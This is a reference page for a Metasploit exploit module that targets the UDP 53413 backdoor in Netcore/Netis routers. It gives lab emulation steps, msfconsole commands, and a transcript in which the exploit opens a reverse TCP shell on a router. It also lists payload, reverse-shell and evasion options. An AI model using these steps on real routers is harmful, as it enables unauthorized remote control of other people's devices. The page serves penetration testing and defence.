Netcore Router Udp 53413 Backdoor - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/netcore_udp_53413_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Netcore Router Udp 53413 Backdoor
Module: exploit/linux/misc/netcore_udp_53413_backdoor
Source code: modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb
Disclosure date: 2014-08-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 53413
List of CVEs: -
Routers manufactured by Netcore, a popular brand for networking equipment in China, have a wide-open backdoor that can be fairly easily exploited by attackers. These products are also sold under the Netis brand name outside of China. This backdoor allows cyber criminals to easily run arbitrary code on these routers, rendering it vulnerable as a security device. Some models include a non-standard echo command which doesn't honor -e, and are therefore not currently exploitable with Metasploit. See URLs or module markdown for additional options.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/netcore_udp_53413_backdoor
msf exploit(netcore_udp_53413_backdoor) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Devices
Trend Micro lists "almost all" models as being vulnerable in August 2014.
Vulnerable AND Exploitable:
- Netcore NI360 second-generation
Vulnerable, but not Exploitable via this module (details later):
- Netis WF2414 firmware V1.4.27001
Lab Emulation
- Install qemu
- Download and install mipsel. Please read the tutorial
- Starts the mipsel lab
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413
- Put vuln_squashfs-root.tar.gz to mipsel lab, extract it.
scp -P22222 vuln_squashfs-root.tar.gz [email protected]:/root
tar xvf vuln_squashfs-root.tar.gz
- Run vuln programs.
cd nw614 && chroot . /bin/igdmptd
Verification Steps
- Install the emulator/hardware
- Start msfconsole
- Do:
use exploits/linux/misc/netcore_udp_53413_backdoor
- Do:
set RHOST <ip>
- Do:
check
- Do:
exploit
- You should get a shell.
Exploitability
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit. During testing it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted. In these cases, it should be possible to use other scripts to act as a fake interactive shell.
Scenarios
The following is an example of a vulnerable AND EXPLOITABLE router.
use exploits/linux/misc/netcore_udp_53413_backdoor
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf exploit(netcore_udp_53413_backdoor) > check
[+] The target is vulnerable.
msf exploit(netcore_udp_53413_backdoor) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Exploiting...
[*] Command Stager progress - 12.54% done (196/1563 bytes)
[*] Command Stager progress - 25.08% done (392/1563 bytes)
[*] Command Stager progress - 37.62% done (588/1563 bytes)
[*] Command Stager progress - 50.16% done (784/1563 bytes)
[*] Command Stager progress - 62.70% done (980/1563 bytes)
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
pwd
/
ls
bin
cfg
dev
etc
lib
linuxrc
log
proc
sbin
sh
sys
tmp
usr
var
web
The following is an example of a vulnerable but NOT expoitable router.
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf exploit(netcore_udp_53413_backdoor) > check
[+] Backdoor Unlocked
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
[*] The target service is running, but could not be validated.
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/netcore_udp_53413_backdoor exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/netcore_udp_53413_backdoor
[*] No payload configured, defaulting to linux/mipsle/meterpreter/reverse_tcp
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show info
Name: Netcore Router Udp 53413 Backdoor
Module: exploit/linux/misc/netcore_udp_53413_backdoor
Platform:
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-08-25
Provided by:
Nixawk
h00die <[email protected]>
Available targets:
Id Name
-- ----
0 MIPS Little Endian
1 MIPS Big Endian
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 53413 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1000 yes The socket response timeout in milliseconds
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
Routers manufactured by Netcore, a popular brand for networking
equipment in China, have a wide-open backdoor that can be fairly
easily exploited by attackers. These products are also sold under
the Netis brand name outside of China. This backdoor allows cyber
criminals to easily run arbitrary code on these routers, rendering
it vulnerable as a security device. Some models include a
non-standard echo command which doesn't honor -e, and are therefore
not currently exploitable with Metasploit. See URLs or module
markdown for additional options.
References:
https://www.seebug.org/vuldb/ssvid-90227
http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py
Module Options
This is a complete list of options available in the linux/misc/netcore_udp_53413_backdoor exploit:
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show options
Module options (exploit/linux/misc/netcore_udp_53413_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 53413 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1000 yes The socket response timeout in milliseconds
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/mipsle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 MIPS Little Endian
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/netcore_udp_53413_backdoor exploit:
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show advanced
Module advanced options (exploit/linux/misc/netcore_udp_53413_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/netcore_udp_53413_backdoor module can exploit:
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show targets
Exploit targets:
Id Name
-- ----
0 MIPS Little Endian
1 MIPS Big Endian
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/netcore_udp_53413_backdoor exploit:
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsle/exec normal No Linux Execute Command
4 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsle/reboot normal No Linux Reboot
9 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/netcore_udp_53413_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/netcore_udp_53413_backdoor) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
Here is a relevant code snippet related to the "Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit." error message:
99: resp_str = resp.join(',')
100: # check if we got a good response back
101: if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
102: # some routers have a non-standard echo which doesn't support -en, so we need to detect that
103: if resp_str.include?('en ')
104: print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
105: Exploit::CheckCode::Detected
106: else
107: Exploit::CheckCode::Vulnerable
108: end
109: else
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
References
- CVE: Not available
- https://www.seebug.org/vuldb/ssvid-90227
- http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
- https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py
See Also
Check also the following modules related to this module:
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/igel_command_injection
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/sercomm_exec
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Authors
- Nixawk
- h00die <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.